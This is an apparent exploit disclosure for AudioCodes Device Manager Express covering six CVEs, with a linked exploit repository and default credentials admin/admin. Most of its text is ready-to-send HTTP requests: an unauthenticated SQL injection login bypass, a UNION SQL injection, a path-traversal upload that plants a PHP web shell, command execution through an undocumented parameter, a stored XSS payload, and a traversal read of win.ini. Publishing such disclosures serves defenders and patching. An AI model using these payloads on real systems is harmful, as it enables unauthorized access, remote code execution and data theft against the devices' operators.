Product Name: Device Manager Express

Vendor Homepage: https://www.audiocodes.com

Software Link:

https://www.audiocodes.com/solutions-products/products/management-products-solutions/device-manager

Version: <= 7.8.20002.47752

Tested on: Windows 10 / Server 2019

Default credentials: admin/admin

CVE-2022-24627, CVE-2022-24628, CVE-2022-24629, CVE-2022-24630,

CVE-2022-24631, CVE-2022-24632

Exploit: https://github.com/00xEF/Audiocodes-Device-Manager-Express

AudioCodes’ Device Manager Express features a user interface that enables
enterprise network administrators to set up, configure and update up to 500
400HD Series IP phones in globally distributed corporations.

---

CVE-2022-24627: An unauthenticated SQL injection exists in the p parameter
of the login form.

---

POST /admin/AudioCodes_files/process_login.php HTTP/1.1
Host: 10.11.12.13
“…” omitted
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0)
Content-Type: application/x-www-form-urlencoded

username=admin&password=&domain=&p=%5C%27or+1%3D1%23

---

CVE-2022-24628: An authenticated SQL injection exists in the id parameter
of IPPhoneFirmwareEdit.php

---

/admin/AudioCodes_files/IPPhoneFirmwareEdit.php?action=download&id=-1338’%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,NULL,NULL,NULL,NULL–%20-

---

CVE-2022-24629: A remote code execution vulnerability exists via path
traversal in the dir parameter of the file upload functionality .

---

POST /admin/AudioCodes_files/BrowseFiles.php?type= HTTP/1.1
Host: 10.11.12.13
“…” omitted
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0)

-----------------------------119140522224988540294045582807
Content-Disposition: form-data; name="dir"

C:/audiocodes/express/WebAdmin/admin/AudioCodes_files/ajax/
-----------------------------119140522224988540294045582807
Content-Disposition: form-data; name="type"

-----------------------------119140522224988540294045582807
Content-Disposition: form-data; name="myfile"; filename="ajaxJabra.php"
Content-Type: application/x-php

<?php echo shell_exec($_GET[‘x’]); ?>

-----------------------------119140522224988540294045582807
Content-Disposition: form-data; name="Submit"

Upload
-----------------------------119140522224988540294045582807–

---

CVE-2022-24630: A remote command execution exists in an undocumented eval
function in BrowseFiles.php

---

POST /admin/AudioCodes_files/BrowseFiles.php?cmd=ssh HTTP/1.1
Host: 10.11.12.13
“…” omitted
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0)

ssh_command=dir+C:

---

CVE-2022-24631: A Persistent Cross-Site Scripting exists in the desc
parameter in ajaxTenants.php

---

POST /admin/AudioCodes_files/ajax/ajaxTenants.php HTTP/1.1
Host: 10.11.12.13
“…” omitted
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0)

action=save&id=1&name=Default&desc=%22%3E%3Cimg+src%3Dx+onerror%3Dalert(1)%3E&subnet=&isdefault=true

---

CVE-2022-24632: A path traversal vulnerability exists in the view parameter
of the file download functionality in BrowseFiles.php

---

/admin/AudioCodes_files/BrowseFiles.php?view=C:/windows/win.ini